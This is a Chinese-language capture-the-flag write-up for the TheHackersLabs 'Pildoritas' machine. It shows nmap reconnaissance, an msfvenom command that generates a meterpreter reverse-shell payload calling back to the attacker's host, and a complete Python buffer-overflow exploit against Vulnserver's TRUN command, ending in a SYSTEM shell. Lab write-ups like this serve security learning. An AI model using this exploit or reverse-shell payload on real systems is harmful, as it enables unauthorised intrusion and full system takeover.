<h1>Pildoritas</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/67">https://labs.thehackerslabs.com/machine/67</a>
</blockquote>
<img src="/post-images/TheHackersLabsPildoritas/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ Pildoritas nmap -sn 192.168.56.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 22:00 CST
Nmap scan report for 192.168.56.1
Host is up (0.00052s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00037s latency).
MAC Address: 08:00:27:31:BB:E1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.93
Host is up (0.00069s latency).
MAC Address: 08:00:27:83:27:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.5
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 6.09 seconds
</code></pre>
这次不打 <code>AD</code> 域
<pre><code class="hljs language-bash">➜ Pildoritas nmap -sT -min-rate 10000 -p- 192.168.56.93 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 22:00 CST
Warning: 192.168.56.93 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.93
Host is up (0.00029s latency).
Not shown: 65267 closed tcp ports (conn-refused), 257 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
9999/tcp open abyss
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
MAC Address: 08:00:27:83:27:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 19.78 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Pildoritas nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.56.93
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-24 22:11 CST 
Nmap scan report for 192.168.56.93 
Host is up (0.00035s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.0
|_http-title: 404: archivo o directorio no encontrado.
|_http-server-header: Microsoft-IIS/7.0
| http-methods: 
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
9999/tcp open vulnserver Vulnserver
MAC Address: 08:00:27:83:27:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2008|7|Vista|8.1
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
| 2:0:2: 
|_ Message signing enabled but not required
|_clock-skew: 6h59m57s
| smb2-time: 
| date: 2025-07-24T21:12:18
|_ start_date: 2025-07-24T20:57:33
|_nbstat: NetBIOS name: WIN-LVJNVVHBWSR, NetBIOS user: &#x3C;unknown>, NetBIOS MAC: 08:00:27:83:27:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

TRACEROUTE
HOP RTT ADDRESS
1 0.35 ms 192.168.56.93
</code></pre>
<h3>枚举测试</h3>
<code>SMB</code> 匿名枚举
<pre><code class="hljs language-bash">➜ Pildoritas smbclient -L 192.168.56.93 -U anonymous
Password for [WORKGROUP\anonymous]:
session setup failed: NT_STATUS_LOGON_FAILUR
</code></pre>
<h2>Vulnserver</h2>
从<code>nmap</code> 中的扫描结果能知道搭建着 <code>Vulnserver</code>
项目链接：<a href="https://github.com/stephenbradshaw/vulnserver">https://github.com/stephenbradshaw/vulnserver</a>
<pre><code class="hljs language-bash">➜ Pildoritas nc 192.168.56.93 9999 
Welcome to Vulnerable Server! Enter HELP for help.
</code></pre>
直接从网上找 <code>POC</code> ：<a href="https://forum.butian.net/share/4013">https://forum.butian.net/share/4013</a>
将里面的<code>payload</code> 换成自己的就行
<pre><code class="hljs language-bash">msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=1234 -f c -e x86/shikata\_ga\_nai -b "\\x00" -f python -v shellcode
</code></pre>
<pre><code class="hljs language-bash">#!/usr/bin/python

import socket
import sys
from struct import pack

try:
 server = sys.argv[1]
 port = 9999
 size = 2006

 shellcode = b"\x90" * 20
 
 // 替换
 shellcode += b"\xd9\xc0\xd9\x74\x24\xf4\x58\x31\xc9\xbb\x6b"
 shellcode += b"\xc5\x71\xf0\xb1\x59\x31\x58\x19\x83\xe8\xfc"
 shellcode += b"\x03\x58\x15\x89\x30\x8d\x18\xc2\xbb\x6e\xd9"
 shellcode += b"\xbc\x32\x8b\xe8\xee\x21\xdf\x59\x3e\x21\x8d"
 shellcode += b"\x51\xb5\x67\x26\x5b\x36\x0c\x34\xb3\xc7\xa4"
 shellcode += b"\xf3\xe5\xe6\x0a\xaf\xd6\x69\xf7\xb2\x0a\x49"
 shellcode += b"\xc6\x7c\x5f\x88\x0f\xcb\x15\x65\xdd\x9b\x5e"
 shellcode += b"\x2b\xf2\xa8\x23\xf7\xf3\x7e\x28\x47\x8c\xfb"
 shellcode += b"\xef\x33\x20\x05\x20\x30\xf0\x1d\x4b\x1e\x21"
 shellcode += b"\x1f\x98\xce\xa4\xd6\x6a\xd2\x97\x17\xdb\xa1"
 shellcode += b"\xec\x6c\xdd\x63\x3d\xb3\x1f\x44\x33\x9f\xa1"
 shellcode += b"\x9d\x74\x3f\xd4\xd5\x86\xc2\xef\x2e\xf4\x18"
 shellcode += b"\x65\xb0\x5e\xea\xdd\x14\x5e\x3f\xbb\xdf\x6c"
 shellcode += b"\xf4\xcf\x87\x70\x0b\x03\xbc\x8d\x80\xa2\x12"
 shellcode += b"\x04\xd2\x80\xb6\x4c\x80\xa9\xef\x28\x67\xd5"
 shellcode += b"\xef\x95\xd8\x73\x64\x37\x0e\x03\x85\xc7\x2f"
 shellcode += b"\x59\x11\x0b\xe2\x62\xe1\x03\x75\x10\xd3\x8c"
 shellcode += b"\x2d\xbe\x5f\x44\xe8\x39\xd6\x42\x0b\x95\x50"
 shellcode += b"\x02\xf5\x16\xa0\x0a\x32\x42\xf0\x24\x93\xeb"
 shellcode += b"\x9b\xb4\x1c\x3e\x31\xbf\x8a\x01\x6d\x87\x4f"
 shellcode += b"\xea\x6f\xf8\x4b\x38\xe6\x1e\x03\xec\xa8\x8e"
 shellcode += b"\xe4\x5c\x08\x7f\x8d\xb6\x87\xa0\xad\xb8\x42"
 shellcode += b"\xc9\x44\x57\x3a\xa1\xf0\xce\x67\x39\x60\x0e"
 shellcode += b"\xb2\x47\xa2\x84\x36\xb7\x6d\x6d\x33\xab\x9a"
 shellcode += b"\x0a\xbb\x33\x5b\xbf\xbb\x59\x5f\x69\xec\xf5"
 shellcode += b"\x5d\x4c\xda\x59\x9d\xbb\x59\x9d\x61\x3a\x6b"
 shellcode += b"\xd5\x54\xa8\xd3\x81\x98\x3c\xd3\x51\xcf\x56"
 shellcode += b"\xd3\x39\xb7\x02\x80\x5c\xb8\x9e\xb5\xcc\x2d"
 shellcode += b"\x21\xef\xa1\xe6\x49\x0d\x9f\xc1\xd5\xee\xca"
 shellcode += b"\x51\x11\x10\x88\x7d\xba\x78\x72\x3e\x3a\x78"
 shellcode += b"\x18\xbe\x6a\x10\xd7\x91\x85\xd0\x18\x38\xce"
 shellcode += b"\x78\x92\xad\xbc\x19\xa3\xe7\x61\x87\xa4\x04"
 shellcode += b"\xba\x38\xde\x65\x3d\xb9\x1f\x6c\x5a\xba\x1f"
 shellcode += b"\x90\x5c\x87\xc9\xa9\x2a\xc6\xc9\x8d\x25\x7d"
 shellcode += b"\x6f\xa7\xaf\x7d\x23\xb7\xe5"

 inputBuffer = b"TRUN ." + b"\x41" * size + b"\xaf\x11\x50\x62" + shellcode

 buf = inputBuffer

 print("Sending evil buffer...")

 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((server, port))
 s.send(buf)
 s.close()

 print("Done!")

except socket.error:
 print("Could not connect!")
</code></pre>
运行后成功拿到 <code>Shell</code>
<img src="/post-images/TheHackersLabsPildoritas/image1.png" alt="image.png">
直接就是<code>SYSTEM</code> 权限
<pre><code class="hljs language-bash">meterpreter > ls
Listing: C:\Users\Administrador\Desktop
=======================================

Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 282 fil 2024-07-22 00:38:48 +0800 desktop.ini
100666/rw-rw-rw- 1646 fil 2024-07-22 01:00:39 +0800 essfunc.c
100666/rw-rw-rw- 16601 fil 2024-07-22 01:00:11 +0800 essfunc.dll
100666/rw-rw-rw- 36 fil 2024-07-22 01:46:33 +0800 root.txt
100666/rw-rw-rw- 9033 fil 2024-07-22 01:00:31 +0800 vulnserver.c
100777/rwxrwxrwx 29624 fil 2024-07-22 00:59:45 +0800 vulnserver.exe

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > cat root.txt
be3751d9c6dxxxxxxxxxxxxxxxxxxxxxxx -

meterpreter > cat user.txt
3163xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -
</code></pre>
<h2>总结</h2>
不清楚是否是让直接梭哈
还是有预期做法
感觉怪怪的

Pildoritas

 https://labs.thehackerslabs.com/machine/67
 



Recon

PortScan



这次不打 `AD` 域





枚举测试

`SMB` 匿名枚举



Vulnserver

从`nmap` 中的扫描结果能知道搭建着 `Vulnserver`

项目链接：https://github.com/stephenbrads...

TheHackersLabs - Pildoritas

TheHackersLabs - Back To The Future I